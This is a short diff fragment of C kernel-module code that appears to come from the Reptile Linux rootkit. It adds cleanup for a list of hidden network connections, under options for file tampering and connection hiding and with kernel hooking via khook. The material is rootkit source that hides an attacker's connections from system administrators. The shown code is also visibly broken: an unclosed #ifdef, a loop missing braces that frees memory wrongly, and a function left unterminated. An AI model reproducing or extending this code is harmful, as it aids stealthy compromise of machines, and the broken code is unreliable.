@ -9,4 +9,5 @@ extern struct list_head hidden_conn_list;
void network_hide_add(struct sockaddr_in addr);
void network_hide_remove(struct sockaddr_in addr);
void network_hide_cleanup(void);
//void hide_conn(char *ip_str);
@ -470,6 +470,11 @@ static void __exit reptile_exit(void)
#ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule();
#endif
#ifdef CONFIG_HIDE_CONN
network_hide_cleanup();
khook_cleanup();
}
@ -35,6 +35,17 @@ void network_hide_remove(struct sockaddr_in addr)
void network_hide_cleanup(void)
{
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list)
list_del(&hc->list);
kfree(hc);
// 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr)